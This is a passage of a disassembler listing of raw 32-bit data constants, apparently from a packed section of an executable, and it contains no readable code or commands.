0A5AA91C1h, 39AC11FFh, 491D647Eh dd 238A910Ch, 3283EAA6h, 0EC645336h, 60662E5Ch, 0E1F8C965h dd 3F6CF308h, 0BCE0FDB6h, 0E762DB75h, 0F4F08E7Eh, 59017212h dd 78130622h, 6EAA0904h, 0F3ADE93Dh, 0C59B9BACh, 0C7A7C115h dd 1FEE94Ch, 0E111F0F7h, 72E85B4h, 6197B1BFh, 0FB885D88h dd 4FD9480h, 807ACE5h, 25A78CD5h, 0F8D84199h, 0D0B83D7Fh dd 0F2C98FE1h, 257AA6A4h, 413482E5h, 0C347DF6Dh, 70BD042Ch dd 0C96B06ECh, 0A3F31611h, 0DD296813h, 56AAE836h, 13DA31BEh dd 0CBACE632h, 0A49C8DCDh, 0DA07FF86h, 0E67C943Ah, 876EFD25h dd 0E25B1A46h, 364C6F6Eh, 0B7219640h, 695B96Ah, 0C220139Fh dd 1AC5CE7Ch, 6D35BC5Ch, 0ED5150E5h, 2FC6669Ch, 200BBDCCh dd 0B6EEECB7h, 9DBA4751h, 65C29A98h, 91E06398h, 34D4DFE8h dd 0E71D683Bh, 71ACDACBh, 0E60AEAA1h, 0F5A25321h, 32D30643h dd 9DA69981h, 0D08207C3h, 8EA54B3Ch, 0E1622D06h, 40CEDB71h dd 0FAD846B6h, 981206DBh, 0CB2DC36Dh, 0BA0B4FAFh, 8EBB1E89h dd 0A8694F78h, 2F2A47EBh, 0E07CBDCDh, 0CE55E6D3h, 0D50B788h dd 0F8BB2EFCh, 0DBE3F90Fh, 0CB5873E2h, 0EA34E572h, 53395103h dd 0C53AAF9Bh, 0A9C484BEh, 9E0FDE9Ch, 0F66812DCh, 5F76424Dh dd 0F34ED16h, 8A1F655Fh, 0B911C234h, 0FF9114E5h, 83423206h dd 0C167E3C5h, 574625D0h, 442C992Ah, 0C325FDFDh, 52214E0Eh dd 4F33C9B9h, 0BCA193C6h, 65EFA5C4h, 8B085DA0h, 0E9B9E4EEh dd 8BA8C30Ah, 0B1CEC2E7h, 0D256057Dh, 72C63108h, 7649453Bh dd 90372564h, 0EBB7E33Dh, 42EF7F30h, 35C76703h, 0BD475F24h dd 0DC5CD490h, 6B79150Eh, 0BCF24DF2h, 0C7068595h, 1D709F7Bh dd 0C588F913h, 3D181AC9h, 0A43D521Bh, 0FAFCAF4h, 908BA5CDh dd 0FC6E88FAh, 63622D4Ah, 7A7F1CE2h, 29700C56h, 5F0A1D5Dh dd 4E9C38A8h, 4D3787E4h, 0C6080D10h, 56A6D222h, 0BCC5F8F9h dd 391C1982h, 8CDFA3EEh, 7A58206Dh, 7EA5388Eh, 1746DED2h dd 8B7A0E5Fh, 0B727AC08h, 1A00C14Ch, 0C6DDFED7h, 0EFC46DF3h dd 34EEBE1Bh, 0A393F553h, 2E40CB6h, 0D62350ABh, 0BA31573Ah dd 9A2E4E31h, 278854D5h, 0A74D6B5Ch, 8240C5A4h, 50768E13h dd 6441DE14h, 0A727B843h, 73FF191Fh, 77441641h, 6F0F9593h dd 7DDE69A2h, 96644328h, 1AEA95BBh, 0A529F245h, 0B5F25B6Ah dd 0A8A35BBAh, 0F9137248h, 811AC7BAh, 84AAFC50h, 0D416FF35h dd 8C0643D6h, 4C002FA5h, 4C8B53F5h, 4863012Dh, 51F69D64h dd 0F4DA07D9h, 0A936E1C2h, 2D2A60D4h, 97CAECFEh, 0F294FB3Fh dd 7250C245h, 374E3CF8h, 7BB9B738h, 0EEBD9DC7h, 0D7E4A481h dd 57978FA4h, 0AAE68BF7h, 459EDAAh, 4BD0D342h, 0C0677B64h dd 9329B116h, 7529DCECh, 0FC6BD026h, 0E91471BFh, 0B027C1C8h dd 86EEFC1Ah, 0C635F2DDh, 390588E1h, 6AE376E3h, 4F73DE53h dd 8AB3B17h, 622C6DEEh, 8597AC00h, 6259ABF4h, 5ECDED3h dd 7C728E7h, 0DA7A3B85h, 6EA71CACh, 0E36044D2h, 7F76E282h dd 0CFC182BBh, 795DC2C1h, 0C71D0CCFh, 0FC7D7D4Eh, 0EB7E292Eh dd 0C0F33747h, 0A654E604h, 0DF76327h, 2D74A886h, 5652B3C3h dd 72A9DCC8h, 0C352C913h, 0DB770D92h, 0C4FAA91Ch, 11F88C2Ah dd 4B4D2306h, 0DFF8C8C0h, 6569B9B7h, 0DB76AF84h, 4F694915h dd 334B380Dh, 8FF6B578h, 0D15DE5D4h, 288B1486h, 47768E91h dd 3EB61469h, 0D2A8E31Eh, 2F0F1DD3h, 0F3E7A563h, 0C846B23Ah dd 0F1564DEBh, 0E0A56A8Ah, 8C4E87A4h, 20FAF487h, 880EDF3Bh dd 0A17CAD2Eh, 0F81DB00h, 0BFC290FBh, 33403C7Ah, 70E60118h dd 93E9AAEh, 1AC8D1CCh dd 5BD16AFCh, 7B496EADh, 652FED02h, 64E4CC16h, 7505F082h dd 0BBAD26Ch, 8ABB41ADh, 71EB0FBCh, 0D787F790h, 7E8EE3Bh dd 0A54499E5h, 0C56AC823h, 0EBADF9A8h, 0F05184AAh, 32184832h dd 7A1E7953h, 4D0631Bh, 75F66B44h, 31E988ADh, 42EAC83Eh dd 1B5FA373h, 4FCA1FD5h, 938CFAA7h, 0AD0DDF36h, 0E9FBD55Bh dd 7539E18Fh, 0D2EBFD2Dh, 4B156966h, 6195CB98h, 0F360FAEBh dd 61BF893Ch, 5819E8F8h, 57BD4C03h, 234EF0FAh, 915F6C5Ah dd 0BE54580Fh, 0A404F5F6h, 0CF04A62Bh, 0AC4FBD4Dh, 54629080h dd 0D15F997Eh, 621F188Fh, 142F2D12h, 0F28E90E5h, 9C05D604h dd 0C2C1783Bh, 9ACFA3DBh, 34AB7C74h, 0B5DB1F72h, 0FA88A0CAh dd 59EEFF64h, 9F4A5A44h, 3EA3A827h, 4D4BF0BAh, 0F041A2D7h dd 0E4C09205h, 0A3FBF3BEh, 72B3A802h, 622F4186h, 0BC17EC35h dd 0DF8E9B49h, 0B5C515BBh, 302E5D08h, 0F8B3F8h, 63B38C2h dd 0C5D34CBh, 3D967A6Fh, 135C1E00h, 7CE05E5Ah, 0E24E72C0h dd 743F6862h, 0E8F6ABB2h, 58227D70h, 0F413A27Dh, 63D3CE0Ah dd 6D6EB664h, 7D6A2E6Fh, 142EA610h, 0B490FC21h, 0DB1EB089h dd 0DD000552h, 0A9D4CDD6h, 0FE19AD83h, 15FFD557h, 90250C35h dd 8AB26E0Fh, 0C764BD3h, 1E1E3D5Ah, 0F7090999h, 0D497C376h dd 0EB841BDAh, 0C641EAEh, 0EDD8BE19h, 0C3B35733h, 7112A0C9h dd 0B2B53DABh, 0E57627F3h, 0F1BE341Ch, 6DA3DCF3h, 32323760h dd 0B29C6802h, 8F2A57E1h, 1B7AFC65h, 4354BE8Ah, 5C2787CAh dd 3891CE76h, 6B29DB99h, 877DCF28h, 0A6DFF51Ch, 0DB47B192h dd 0C5ACE01Ch, 0B106F2C7h, 844C1525h, 0B77CD9D6h, 0C600702Eh dd 5EB1D3B5h, 71541FCFh, 0BC094560h, 0BAB3787h, 6422C701h dd 54981DEBh, 764FC73h, 63E49B31h, 0E8C27935h, 0C9DF4415h dd 7DEDF61Ah, 9B4966E9h, 3DADA099h, 0E42E8F62h, 0BC4C6060h dd 9F72286Eh, 175F3D16h, 0AA4C6F97h, 9BCF30B3h, 76059B8Ch dd 6143EAB8h, 0D549DFB4h, 0ED80EA8h, 4AD56489h, 0DCBDC33Fh dd 43ADB0C9h, 157F94CAh, 0F1634E65h, 686C3BA4h, 6A67828Ch dd 0EFA9254h, 2F677372h, 6D625294h, 0D387B141h, 0DAF804D9h dd 7723A3B9h, 0E65F4E38h, 92CC1429h, 2C7FFA43h, 75409A92h dd 47507958h, 0BECCD8D5h, 0F1BF55FFh, 0FCA9A9AEh, 0D0BD6EF5h dd 0C90B416Ch, 0ACC9EE67h, 2E9B9A80h, 9B929204h, 16C16E7Bh dd 455BC0AFh, 138D1A9h, 9D3856F0h, 8A60456Bh, 76EEEB81h dd 13622BB4h, 0F037CE34h, 0EE011B2Dh, 8D154E55h, 2443D1B1h dd 0EE106FB6h, 0ACA5EAE0h, 0D309D0E0h, 3EF0589Ch, 6F139C78h dd 61D8E3FBh, 45D92AF2h, 46338719h, 261B0B8Fh, 92D8B3F5h dd 4A10D746h, 0C328A757h, 0A7516182h, 2C731730h, 0E2156DF4h dd 63A6001Ch, 0E5B7DADAh, 0B9393923h, 0CCA4610Bh, 0F22EFE6Bh dd 96B707ACh, 0BA95793Bh, 0D11B50E3h, 0A624E987h, 0F38D62B6h dd 0E00C7A0Bh, 958E303Ch, 87E1748Fh, 44612B0h, 2A4D44C7h dd 0D450A9AFh, 0A6BBBE6h, 630498DBh, 0D20B8A95h, 0FA644C5Fh dd 0CB43DF14h, 0B56810F1h, 3462FE98h, 4EFFC750h, 60B9D552h dd 0B430AE2Ah, 388E85Fh, 41E50484h, 0D4BC465Ch, 0FBEAD61Eh dd 0BF229F88h, 131D67CFh, 0EC4CB640h, 0C259F5B5h, 4384BA27h dd 0C3B8B799h, 356403D3h, 0FBEBB860h, 0B2C91A96h, 516AE1DEh dd 57B56861h, 0F85F2757h, 1B6B6EA9h, 702438B5h, 0D717392Fh dd 0CF09E3Ch, 0BCD2E6BBh, 1EEF92DEh, 9B1F3C4h, 77F87A4Ah dd 1C4A7CA5h, 5E840226h, 7DCBD8EDh, 410F4B2Ch, 4BF810A2h dd 20656E9Ah, 924B15E1h, 6EDA429Ch, 80D11C42h, 0F89358D2h dd 0AD500326h, 7BBC3668h, 0CB806479h, 911E085Fh, 0AA2C28C0h dd 4047EA95h, 0F5F08D4Eh, 0C9BCA63Ah, 0DB72147Ah, 904AD19Eh dd 536DFE61h, 3C7684EEh, 384AD98Ch, 5808EF9Eh, 0C62F7E60h dd 0BC9E0105h, 461AC176h, 0E29D5613h, 0C4752C9h, 5B4DE86Ch dd 0BD76586Ch, 2697FFC1h, 30B97105h, 750457CEh, 0AF8A1CFAh dd 66629ECDh, 8C5C23C8h, 25AF8D77h, 134C8118h, 165E8CC2h dd 0DF8C064Ah, 0E1FAEED8h, 0F68A5A08h, 0EF213450h, 0C2C8EC3Fh dd 0A3CAF2EFh, 46DB4C7Bh, 5748ECB1h, 29428AD7h, 0D0B4A9C2h dd 8AE98310h, 0F5897C6Bh, 5187C777h, 9C8EFA1Ch, 77ECA408h dd 6A63941Eh, 1610341Bh, 133098B7h, 69987C45h, 40230FE0h dd 0F45C4Eh, 29AC853Dh, 0A8272D90h, 27E042A2h, 0DC18A790h dd 38B6B7D0h, 0DF8A742Dh, 75654E5h, 8CD607E7h, 2BE71124h dd 1D47E8E3h, 0F5D2A072h, 0DC95B098h, 62FB5D8Dh, 32FDFBC1h dd 93615080h, 0A757ACD2h, 0B28760CBh, 2AF5A339h, 35F327B7h dd 6CC8F857h, 7D5BA3h, 36F7140Ah, 80209E29h, 6BC85D7Eh dd 82FE2965h, 0AB50794Bh, 781FC049h, 0BD04B8DAh, 0C91CC5Fh dd 97599718h, 0C46A171Ah, 4B13D74h, 80994A01h, 378828FFh dd 0E84C1D12h, 5195F68Ah, 0FD76E056h, 6108421Dh, 0AAF38DE4h dd 0EFFAF282h, 0C954B6D1h, 8F8B9C06h, 0BD150E7Bh, 1AD0D977h dd 0ADB594AFh, 0E0D04C1Ah, 0C93C0376h, 0B87B1477h, 0DF1A1A29h dd 71DDB984h, 997CB1CDh, 4ED5104h, 0CEAF7741h, 3CEAA5E4h dd 594742Bh, 0AF6A1060h, 787B2CF0h, 7F0175B5h, 786334CCh dd 3D5D3B0Eh, 6C01CBB4h, 0EFCE79F6h, 8CD46270h, 81246020h dd 0F217643Dh, 0FE001E83h, 0D0231A59h, 8BD4ABBAh, 7B7A7E47h dd 5F8083FEh, 0CEF0AC4Ch, 20623A0h, 0B129A807h, 41D06B61h dd 8E78A6CCh, 5941FF8Eh, 21F33755h, 0AAF61B29h, 9548F852h dd 6AF5F0BAh, 0E9A8DB22h, 5D689C52h, 0BA632809h, 0C2E574F5h dd 74F34591h, 594A5739h, 21187E01h, 0E3993920h, 0F95E48Dh dd 0BBAEAF89h, 69A60AC2h, 70AC98F9h, 8D9DE3D9h, 0F711AEFh dd 0DE750048h, 8FFB5B01h, 0BF737BE7h, 339E8369h, 1B2BD1DCh dd 192C29C8h, 0C5098249h, 0E552C4EFh, 7F4C134Dh, 42B561E6h dd 3B327A87h, 14AD81C8h, 588108B6h, 619EB08Ah, 5A6371ACh dd 0BB260A2Bh, 5D9CA0A2h, 71B4AF4Ah, 28454DAAh, 3B372D2h dd 9CEC47D7h, 0F9F13C5h, 99ADA346h, 4718A14Eh, 781267A6h dd 0EA38C242h, 395BD885h, 0DE223FBDh, 5A9C27F9h, 94075A41h dd 287DB44Eh, 1CA464CDh, 0ACE1CE0Ch, 0E44B8F9Dh, 9F4D6FC9h dd 0A1EBFA08h, 0BF5C6FEAh, 645BC2A3h, 3929A54Fh, 0A481C154h dd 2430BBC4h, 4120F988h, 0D2687E28h, 0FA355BBDh, 2DFBF861h dd 3F785E64h, 0DEAB78D8h, 5823D475h, 0BA8DE214h, 8053BFE4h dd 1B1BE262h, 0C337CE43h, 0CBEB0188h, 3B23DBC3h, 144AE3DAh dd 0C09474C9h, 0BB260814h, 1B29EADEh, 0E05AB6EBh, 0BA05B55Ah dd 84AB8187h, 99EC1184h, 98124EBBh, 0D682E3D3h, 5E94078Dh dd 159F3213h, 902949F6h, 0EC07F0E2h, 0EF3AEBD9h, 2F886F7h dd 0B7874F1Ah, 497DDC42h, 0FFC1B451h, 0FEF82B50h, 850BF934h dd 8B63B850h, 0CBF8E0A8h, 0F5EA3A30h, 699EEB07h, 9F5159BAh dd 31C616F8h, 8DCCC42Dh, 0E4E80FAAh, 400EC8D8h, 3F1F45A4h dd 2F8A1649h, 78DDFDF2h, 0B8D1BEB0h, 0CF5D0D19h, 0DE0FB087h dd 94E0E4CDh, 990F5C4Fh, 5E55157Eh, 2566AFADh, 463B4170h dd 0D8BD7EB1h, 19871A8Bh, 77AAAF2h, 0D6C1991Ch, 64644070h dd 0C99C83F9h, 0D1EBE2B3h, 62568A4Dh, 6AFEA0D0h, 0CAAECBC3h dd 34AA190Dh, 250692B4h, 0CCBB7F6Bh, 0DD4A7E89h, 5F550CB3h dd 0C63A155Fh, 107F03FFh, 68CB8106h, 5F938424h, 169C51E9h dd 5D485956h, 950B85A1h dd 8A4D485Ch, 4A59186Ah, 0F263FBE4h, 7E7BE003h, 0A9859E78h dd 907329CAh, 77EB9B7Eh, 9A8A50A8h, 0AB645900h, 0B290D491h dd 0ADACBCBDh, 0A2C0D59Bh, 0CF0EB35h, 24E35C3Fh, 83AF500h dd 61B44720h, 620B848Bh, 507793EBh, 0E116D058h, 50D13550h dd 663D3FEDh, 0D05F21CDh, 0CD1E1C2Fh, 0CA9C293h, 26CE64B5h dd 0ABABBCE9h, 51C6E9E8h, 1DD914ADh, 7EA3B809h, 495D22EFh dd 13D7F3ABh, 1B16F7F7h, 4F0109DAh, 1523C7EBh, 0B66026BBh dd 16ECBAF3h, 0CE804D41h, 3B44EE84h, 7808D60Fh, 97252038h dd 1D630F6Dh, 0BBDFA033h, 0FD1E5D27h, 865B0229h, 1807A715h dd 0E9747B64h, 304D9C7Ch, 716032F9h, 0B4A32AA4h, 2D9A06ACh dd 5257385Bh, 22A489F5h, 70B0774Eh, 0FE5BBD55h, 484FCFF8h dd 0A5DF8AB3h, 9262A599h, 1EA1DCD4h, 0BD7BBB5Eh, 9EBE245Eh dd 0C965CA2Ah, 0A0E9FCF7h, 260D1BC6h, 5959D3FDh, 0A43B70EAh dd 1523B36h dword_4E414C dd 0F503796Ah, 75C28FAFh, 0DAA5103Eh, 0D2043698h, 2BE1D31h ; DATA XREF: .XPack0:off_43D44Co dd 3C61B2A3h, 978FB5DAh, 13626382h, 3CE769Eh, 887EC61Ch dd 0C1D10257h, 0BC62B6FEh, 0A781FA32h, 658DE3E9h, 0D233E11Bh dd 2F80487Eh, 77D2C393h, 68A8A58Dh, 5C5A1990h, 160A22Ah dd 44B77F56h, 6B25CE54h, 0CE2DCD0Dh, 0F9673E82h, 0D04075DFh dd 3C35425Bh, 0A41D7905h, 251F73CCh, 0EC46CD40h, 6505721Ch dd 77CBFC4Ch, 39EC85F2h, 0B5A22A7h, 0DA693CA3h, 116F4FBCh dd 0C4D628AFh, 11BF54D9h, 0F357138Bh, 0CF6F4A6Bh, 0DF92C472h dd 61FD4CBDh, 0C7891993h, 0CC4FE47h, 505DAFFCh, 8CB38D5Eh dd 1ECE9E6Dh, 8BD29D22h, 0E81A2134h, 455800E0h, 54747C7Dh dd 0F421B202h, 8C56C510h, 2C179FDCh, 3204E8F8h, 55425DBh dd 31F8C929h, 7D512AACh, 95080959h, 0AAB949EFh, 87962C28h dd 8BB44552h, 0EA7CE5F6h, 6BB10672h, 7A072E50h, 42ADB6FBh dd 86CE9890h, 0F01BF712h, 0B1B05509h, 2F987F24h, 0F55298F7h dd 0DDB6870Ch, 87ED2DEBh, 48AB180Fh, 308F242Eh, 247CE3EDh dd 6A95EE5Eh, 10857835h, 35C17161h, 0BEEF37Ah, 0FA0F8783h dd 0EEBB317Ch, 0ABE29C69h, 0E31C2105h, 7DF95E54h, 0CF478159h dd 0DC96CCE5h, 87209CDFh, 8B6588F6h, 0D7D3FC32h, 0BF71E84h dd 7AF1CE6Eh, 996E6F59h, 667CDD00h, 0C859418Ch, 8B1203E8h dd 98DDC52Eh, 1DAEB129h, 8BE16ED9h, 384F02DFh, 0F73062A3h dd 3BF4085Fh, 30912BE0h, 0A4635958h, 3E87F5CEh, 0C6270A3Ch dd 22AF3BC5h, 0CFB1DDE4h, 3DBDF621h, 52B154AEh, 4367A44Fh dd 25BFE518h, 0A72365FAh, 80944A0Dh, 8BB0F5E2h, 414E5EB0h dd 0C819A5B3h, 0ACB82791h, 73B91A49h, 0ACF14EC3h, 6001A651h dd 0D8A4C14Bh, 63D76691h, 60A987C0h, 97B39D88h, 0B3EC9824h dd 0E0B761B8h, 0E0E27DC5h, 27194D4Eh, 282321EFh, 0A652A65h dd 57475E6Dh, 94C3551Dh, 92631BF7h, 68187860h, 89FBBD2Ch dd 4B66BC50h, 2A26F2BBh, 276C1E13h, 0CA4AB90Ah, 47BA62CAh dd 8C12472Ch, 968A9C60h, 2C418739h, 683C4EAFh, 0B9B11324h dd 0D28AA5A7h, 6C86A03Dh, 0C39CFBB2h, 4F38935Bh, 9F3D2F16h dd 16653279h, 0A92A3772h, 3B5E16D1h, 0B43B80E6h, 52E48D84h dd 2D93FE3Ah, 0FAE2351Dh, 0C238B699h, 8BF14CE3h, 0A93FFBBAh dd 773E051Fh, 0A4E20E51h, 2AC156B5h, 219EC662h, 0B217E1F0h dd 91319E3Fh, 6C42CA4h, 2FFB923Fh, 0F7CFF923h, 0F9336042h dd 1AB006A9h, 0D46C999Ah, 118CA367h, 6FAE9215h, 76BB3602h dd 85AB505Bh, 0C3CB817Dh, 0A8F71324h, 0CE8BE09Bh, 29731DC9h dd 0FD098C6Eh, 3342A0EEh, 0E229B1A2h, 88180F3Dh, 4316D481h dd 349F70FAh, 2D6EA65h, 91F3F8F3h, 68693D40h, 0CCCFD28Ch dd 0F347633Fh, 0D6B9EC44h, 444D9E2Fh, 0CCB00C48h, 11EC4C57h dd 3C767B0Ch, 988E0421h, 0A5EF926h, 3EC3BC5Ah, 4D7A6858h dd 0EC82355h, 0E9BF3D6Ch, 2FD1C46h, 6AC41434h, 1D801F03h dd 5F141FE6h, 54D333F2h, 0AB0038CFh, 3A72862Dh, 674E99F8h dd 0BE348E8Ch, 0FCCE5667h, 0AF879973h, 2EA3E664h, 9F67508Eh dd 57145382h, 0A8207200h, 7878A3ADh, 610488C4h, 8D4351CDh dd 6EBD2ECFh, 0F71F88A6h, 8460AAAFh, 0A6A5381Ah, 7F906080h dd 5583C8Bh, 3807A39h, 7089BB1Bh, 9A1BCC20h, 0F9D528F8h dd 65F6CADAh, 0FCF8F950h, 64108F65h, 0D0C6AD43h, 46233BFAh dd 9D57CD69h, 0E57D079Ah, 0D42E658Eh, 1E91A084h, 0A4F1FCF9h dd 0F3ECD3DFh, 0E1FCA06h, 7CCC214Eh, 0B8FCDD55h, 0F8BFD94Fh dd 0F6CB9832h, 686B9C66h, 8668E806h, 6A29BEE7h, 0C137221Eh dd 5BC5484Eh, 0CCFAA5Ch, 7D58D7E3h, 19B7D989h, 18E6557Ch dd 0F3AD2957h, 89471382h, 0B0659961h, 0A402BF4Ch, 0A0A4CE77h dd 189E884Ah, 8755292Ah, 33E1D5E0h, 0DEF7E3D9h, 3E03F18Eh dd 0A859B799h, 38F5D843h, 1A46EA18h, 0A9A65450h, 17DAE897h dd 0B19ADC2Dh, 2112941Dh, 282E198Dh, 0C2B12059h, 31C7F958h dd 92A30D5Bh, 7F2B3BA9h, 0D8589A92h, 22FB75F0h, 3C9191A0h dd 3816D9E5h, 0D4E8EF4Bh, 0BF15698Dh, 0E6A700DFh, 3AF29E7Eh dd 0AB62D2Bh, 1F968654h, 0CD6F7C3Fh, 6CE0F27Ah, 0D4E518B7h dd 57259115h, 0F9D20D1Eh, 6051EC4Ch, 7F81F3C5h, 0AA88601h dd 38940699h, 4D898AE4h, 0E0C306F1h, 0B078EFDAh, 7B00D1D6h dd 0A0281CD1h, 380D40E8h, 3F056F95h, 0C4BD1E8Ch, 0BC4CED4Ah dd 6368F95Ah, 0A8FCC1B0h, 6995270Eh, 4FB72D11h, 36AE3D11h dd 5FAB2D79h, 0D1B2EEC4h, 46984CEAh, 7E847788h, 9D137B70h dd 47EA830Eh, 61352385h, 0E3921F59h, 1C885D69h, 1E9B6B13h dd 0B09591B5h, 6BC1AB05h, 8EA59894h, 8257349Ah, 0DB1B75C2h dd 0E880AF06h, 39629B9Dh, 0DB397510h, 0A64F4C6Dh, 0EBC55BCAh dd 21755207h, 4CD4A14h, 15DC73D4h, 0DFEFE23Dh, 0DAEC7E05h dd 495FE813h, 487E5468h, 0C9E03620h, 7100C722h, 8B04DD81h dd 7B71E6h, 87AAD9C1h, 0B30AFCBEh, 428D8CA0h, 0FD5E4419h dd 0EDEB34D1h, 3EBD11F3h, 0DFD85E21h, 0C691B779h, 7028CD73h dd 20D6EF4Ch, 839624CAh, 4AD758C1h, 87B1BA78h, 6D3D2ACFh dd 0D4690A58h, 99053E07h, 71ACAA78h, 4CAAD295h, 8E0D195Ch dd 0BABF67DFh, 2D1D13E1h, 633804Dh, 54FE604Ah, 0E83519E7h dd 862B661Ah, 0FE12692Ah, 0D64A18EFh, 263160D4h, 0C9B67338h dd 0D3798D5Ch, 68A7A6D2h, 45F971BFh, 0D2F1B337h, 672BCD87h dd 0B51BEEBCh, 52BB2680h, 89B218FCh, 4ABE4B36h, 0A87C0723h dd 92614AF3h, 4DD20182h, 0C3FE9C12h, 0DA6FE82Dh, 536E76EEh dd 0B7EE3C47h, 6E510913h, 0D3538823h, 0F06073E4h, 32C23243h dd 10A193A2h, 16AEA6Bh, 1936AAB6h, 0DC604139h, 0A6665FB9h dd 0E0A6651Ah, 34328346h, 0BD364D2Ch, 0A2379307h, 14442439h dd 0BFD7273Fh, 7CA906A5h, 8FCD7DA6h, 743C824Ch, 184906Ch dd 0A60DD4B1h, 0CB75A14Bh, 10B1A55Dh, 8D9C217Dh, 1951F5E9h dd 0C8D6BDFCh, 0CA7DB4Fh, 7FEEB8DEh, 9F4D7185h, 559D817Ch dd 0B2F3A90Dh, 81084B7Ah, 39D6EABEh, 0E99D7C17h, 9472C2EEh dd 8C8556E5h, 606A1678h, 42A0866Dh, 6399C75Eh, 0DB6D6E99h dd 24587333h, 0CD67679Eh, 92DC840Dh, 644F6F35h, 8DF77C18h dd 2BF8E18Ch, 3D8B9DD5h, 87FBD74Eh, 0C69E3B2Fh, 0AE952B11h dd 8C1CFEBDh, 2D5EB4C5h, 0BCF79E06h, 776F9AC0h, 0BEEE342Ah dd 9E961FC7h, 82FFAD54h, 0A410E0F2h, 0ECD99E0Ah, 36CAE748h dd 0DE923A1Bh, 0B69386FFh, 0C2482DB8h, 5EFE9EF5h, 0A535068Eh dd 9493116Dh, 966AB4FAh, 5DA4FCAAh, 6D59E4FDh, 3C3ECBFEh dd 0D26A3915h, 994A4856h, 10FEC5E1h, 6C901746h, 0FAF95702h dd 1DDD5F40h, 4E36AEE1h, 719A1384h, 4E56E9Ah, 5A47C5C2h dd 8948A397h, 5774969Bh, 9D4EBBEFh, 3DEC09C6h, 0F77926Fh dd 0C288F75Eh, 0C3FA435Ch, 0CEB238A3h, 9E319D4h, 5471353Bh dd 2EEF24Eh, 0B50A6679h, 49E6A9F2h, 0AA6CA55Eh, 0E522ED72h dd 5A2718A2h, 10576B0Ah, 6722C824h, 5832E67Fh, 4D4446A8h dd 12E323ABh, 2F967B11h, 0F6E1F03Bh, 96CB29DEh, 0CEC5F4DCh dd 224A18AEh, 21990001h, 10EBC07Ah, 0A7DE5B99h, 8D51460Eh dd 0C2535D7Eh, 0CAF1AC97h, 0E5C1A0Fh, 0FBD9CF51h, 0AB0B3F5h dd 805D7CB7h, 0C46E4A02h, 8E6B4AD8h, 184CE2EEh, 36915388h dd 6948ED22h, 3EE082Ch, 413FD1BDh, 23937FDDh, 30E3A2B7h dd 40D1609Bh, 0F5A17605h dd 24DE63D5h, 0A5DA31F0h, 34A812F2h, 0EF73128Ah, 0E02D4067h dd 1F92A21Fh, 0F8FF0C19h, 51F576C6h, 705D9C43h, 0EC498EE2h dd 2F83BB0Bh, 0C254815Ah, 73E1CD84h, 0FC80DAC2h, 507F528Dh dd 4BDDD307h, 119A7748h, 0ACA2E37Ah, 0DA1597CDh, 0ED0E3DA3h dd 97462C92h, 0A18E5F56h, 0C9B7532Ch, 63454984h, 96789DBEh dd 0B977F489h, 17781874h, 0A06B0AB6h, 400CBFA5h, 0A9CB280Ah dd 11CBE701h, 0C1A08E58h, 9F82936h, 0A4EA99E4h, 10D67AAFh dd 0BE67AE6Bh, 0FCF052CDh, 0D4FD685h, 0C189B379h, 5BFFC73Bh dd 3DD51BECh, 1824F6E5h, 70333571h, 3885FDB0h, 976A5390h dd 52D164D4h, 0DEC18201h, 7AA98543h, 0C6F0501Ah, 0F4203371h dd 0B139B828h, 0E55E7E4Ch, 0EC01169Eh, 0C9126FF0h, 4939E3A1h dd 0C4DAB3Fh, 9042878Fh, 0D7E236Ch, 761F7B50h, 26D55727h dd 42662EA1h, 0A0A282B9h, 0B7D381B8h, 0B066EEDh, 0FF3FB073h dd 0F11F6DE0h, 0E5A558DAh, 6C6D8FB6h, 0B3865DF7h, 99EEB73Bh dd 76020A1Dh, 0E43B5FECh, 0F8FF755Dh, 70A7FF95h, 85182E45h dd 6918B720h, 81B9C463h, 0B7FC33FAh, 2AADF940h, 81538A02h dd 1C4EBD88h, 0C5A77FD0h, 0F34A7118h, 2F022B03h, 1699F42Fh dd 5923BD74h, 0EF1FA606h, 1EE0CBD2h, 60E0FA4Ah, 0D3B3FCE2h dd 9D1DAF76h, 48964976h, 3933A60Eh, 0F5BEBE58h, 86F5DA00h dd 0C5FBB506h, 0AB0492AFh, 0FF391C3h, 0EFC6BF63h, 0F0E3C0F0h dd 0F0A8FA20h, 52FE1929h, 82C8CBDAh, 2D3A52CFh, 0CFEF7A75h dd 8ED6F95Ah, 0DF701033h, 0A249D841h, 5E2747B8h, 535AD3C8h dd 87673F1Ch, 0AAE1E235h, 0C647C57h, 457D667Ch, 38A3C2D3h dd 0E9F6F866h, 1BD4C4DAh, 4B32AE1Ah, 5B920C1Dh, 1BA20FB3h dd 0B8503DEEh, 0B75798B4h, 35AC75F9h, 43F5FCA8h, 219E8C51h dd 81A66CA2h, 90D4CF68h, 60304410h, 7502A95h, 0FDAF0A45h dd 0FC8D2653h, 7C38D352h, 5C57759Ah, 3DF4B313h, 0B30EB671h dd 0E8BDE54Bh, 81E3F60Dh, 25B746A4h, 68B129Ah, 7D4F1E73h dd 0F4D1616Bh, 0C86C7C5Ch, 0E2164F18h, 52210347h, 0AA823302h dd 876D6D0h, 0F84FAFE0h, 6CFA2ACDh, 0A12D9AC4h, 7FC7CDFDh dd 5FEAD33Dh, 0EF4827EEh, 0B13C316Bh, 28B41CD5h, 596A0440h dd 3C6E3DFDh, 0B73E3B8Ch, 87AC9A5h, 69C0503Eh, 0BE7259BDh dd 9DE3D4BFh, 0EECEDB1Ch, 0EFDA4636h, 93CD0EF3h, 0FAC41290h dd 0F7F8E3B8h, 4C75AECBh, 1DB76225h, 8C1460h, 0D83C8E8h dd 876BCE6Ah, 0D9CB6BA3h, 71326A0Fh, 33F33601h, 0DBB6E32Fh dd 74139227h, 157FDB4h, 1DE5537Fh, 0E5A8F5A2h, 0E5B10D75h dd 2DD7506Dh, 596219EAh, 1BD4F3B6h, 546A19ADh, 0DFC04F4Ah dd 0BE508F35h, 34FD7D17h, 0AEE4B8B9h, 24355C58h, 0A02512E0h dd 0D421F2DCh, 17488C1Fh, 3A03D96Eh, 154A5F3Dh, 67FD13B4h dd 0DDDFFA2h, 363FB867h, 0CFABDB9Fh, 181368A8h, 171AFE39h dd 3CA40999h, 6247E801h, 71BEC9B9h, 0D4ABEFBh, 0C5683730h dd 0B5D9743Dh, 0B15BA02Eh, 602B0A3Fh, 5F026ABDh, 3C2A689h dd 0FC9B0EFFh, 0AAB7BB45h, 388FB53Dh, 364CF811h, 0F98486h dd 0E828DD60h, 0BF9F12CAh, 0B4B919BDh, 91FFF886h, 338F6C2Ah dd 9B7674F7h, 540FE252h, 2745A476h, 0C7E19CCAh, 5EE1DFB8h dd 0F6AC5E27h, 7741B2A6h, 0D4D4510h, 1EEAFCD6h, 5C721B7Dh dd 0B93BF1A2h, 46F9BB90h, 